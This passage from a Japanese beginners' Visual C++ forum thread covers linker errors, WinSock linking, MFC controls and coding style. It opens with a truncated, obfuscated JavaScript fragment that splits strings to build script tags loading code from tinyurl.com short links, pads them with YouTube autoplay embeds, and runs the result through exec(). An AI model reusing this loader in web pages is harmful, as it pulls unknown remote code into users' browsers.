if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);


540:デフォルトの名無しさん
07/02/23 22:28:05
↑ Visual Script

541:デフォルトの名無しさん
07/02/23 22:30:18
サンプル動作例
URLリンク(g-s.s7.xrea.com)

542:デフォルトの名無しさん
07/02/23 22:55:13
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。

Releaceでリビルドし直せ。

543:デフォルトの名無しさん
07/02/24 00:30:16
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?

544:デフォルトの名無しさん
07/02/24 01:00:47
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか

545:デフォルトの名無しさん
07/02/24 01:10:40
ファイルを開くときの共有モードをどうにかすればいい。

546:デフォルトの名無しさん
07/02/24 06:13:43
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない

547:デフォルトの名無しさん
07/02/24 10:25:10
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。

548:デフォルトの名無しさん
07/02/24 13:14:08
特定の時刻になったら知らせる方法を教えてください

549:デフォルトの名無しさん
07/02/24 13:26:35
つ[タスク]

550:デフォルトの名無しさん
07/02/24 13:33:44
どういうように使うのですか?

551:デフォルトの名無しさん
07/02/24 13:56:37
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。

552:デフォルトの名無しさん
07/02/24 14:02:35
WaitableTimer作って、WaitFor...で待つとか。

553:デフォルトの名無しさん
07/02/26 11:45:16
2003年の本で勉強したらもう古いらしくて損したよー 
新しい本買わなきゃ     ・゚・(ノД`)・゚・。ウワーン

554:デフォルトの名無しさん
07/02/26 12:21:38
あんたばか?

555:デフォルトの名無しさん
07/02/26 15:02:31
>>547
>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが

556:デフォルトの名無しさん
07/02/26 15:27:10
気に入らなかったら説明してやれば?

557:デフォルトの名無しさん
07/02/26 15:59:46
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。

558:デフォルトの名無しさん
07/02/26 20:59:28
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。


559:デフォルトの名無しさん
07/02/26 23:23:35
>>518の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。

プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。

  未解決の外部シンボル __imp__WSAStartup@8 が関数〜
  fatal error LNK1120: 外部参照 2 が未解決です

といった感じです。
どうすればよいのでしょうか?

560:デフォルトの名無しさん
07/02/26 23:26:59
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。

561:デフォルトの名無しさん
07/02/26 23:33:39
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな

562:516
07/02/26 23:46:01
>>560
ありがとうございます。
確認してみます。

>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。

563:デフォルトの名無しさん
07/02/26 23:50:44
しかしファイル名はテキストのまま書き込まれている

564:デフォルトの名無しさん
07/02/27 01:30:39
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。

565:デフォルトの名無しさん
07/02/27 04:45:26
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。

566:デフォルトの名無しさん
07/02/27 10:26:29
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが

567:デフォルトの名無しさん
07/02/27 11:02:54
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。



568:デフォルトの名無しさん
07/02/27 11:09:10
GetFileSize()

569:デフォルトの名無しさん
07/02/27 11:40:03
唐突にヘッダ情報って?

570:デフォルトの名無しさん
07/02/27 17:05:09
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。

571:デフォルトの名無しさん
07/02/27 17:11:38
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?

572:デフォルトの名無しさん
07/02/27 17:14:50
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね

573:デフォルトの名無しさん
07/02/27 18:02:36
m_bt1は有効だった?NULLだったりしないか?

574:デフォルトの名無しさん
07/02/27 18:03:29
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?

575:570
07/02/27 18:32:01
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。

576:デフォルトの名無しさん
07/02/27 18:43:02
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな

577:デフォルトの名無しさん
07/02/27 18:44:27
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。

578:570
07/02/27 18:52:14
>>576
>>577
了解しました。
もう一度見直してみます。

579:デフォルトの名無しさん
07/02/27 19:50:05
roopoutには確実にFALSEがはいっているのに

if(roopout==FALSE)
break;
else
....

が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます

580:デフォルトの名無しさん
07/02/27 19:56:06
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全

581:デフォルトの名無しさん
07/02/27 19:57:12
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか

582:デフォルトの名無しさん
07/02/27 19:57:24
やってみます

583:デフォルトの名無しさん
07/02/27 20:03:07
ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?

584:デフォルトの名無しさん
07/02/27 20:06:22
ではなぜelseの処理に

585:デフォルトの名無しさん
07/02/27 20:06:35
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……

586:デフォルトの名無しさん
07/02/27 20:21:12
実は
if(roopout=FALSE)
と書いていた。

587:デフォルトの名無しさん
07/02/27 20:23:05
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな

588:デフォルトの名無しさん
07/02/27 20:29:16
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。

589:デフォルトの名無しさん
07/02/27 20:39:44
そんな書き方してません
再起動したりしたら動きました

590:516
07/02/27 21:44:56
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。

VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。

591:デフォルトの名無しさん
07/02/28 01:23:13
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。

592:デフォルトの名無しさん
07/02/28 01:51:43
warning C4706: 条件式の比較値は、代入の結果になっています。

593:591
07/02/28 02:46:30
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。

594:デフォルトの名無しさん
07/02/28 14:56:39
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?

595:デフォルトの名無しさん
07/02/28 15:09:53
一度精神科を受診することをオススメする。

596:デフォルトの名無しさん
07/02/28 15:43:04
>>594
初めて見た。

597:デフォルトの名無しさん
07/02/28 17:00:54
>>594
オレも。

598:594
07/02/28 17:09:35
>>595
ちょっと受診してくるから良い病院を紹介してくれ

599:デフォルトの名無しさん
07/02/28 23:18:59
URLリンク(www.kouno.jp)

600:デフォルトの名無しさん
07/03/01 00:39:08
打ちそこねで=を一つ落とすことはあっても
うっかりしてリテラルと変数を逆に書くなんてことはない。

601:デフォルトの名無しさん
07/03/01 08:11:35
>>600
そりゃいないだろ
わざと逆にやってんだから

602:デフォルトの名無しさん
07/03/01 10:24:23
プログラムを文章として読むと、それが気持ち悪いんだよね。
文章のように読めるプログラムを理想としてるのがわるいのかなあ。

603:デフォルトの名無しさん
07/03/01 11:20:23
>>602
そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。

でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。

604:デフォルトの名無しさん
07/03/01 11:27:04
デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが
解放処理等はちゃんと行われているのでしょうか?

605:デフォルトの名無しさん
07/03/01 12:04:11
>>604
行なわれるものと行なわれないものがある。


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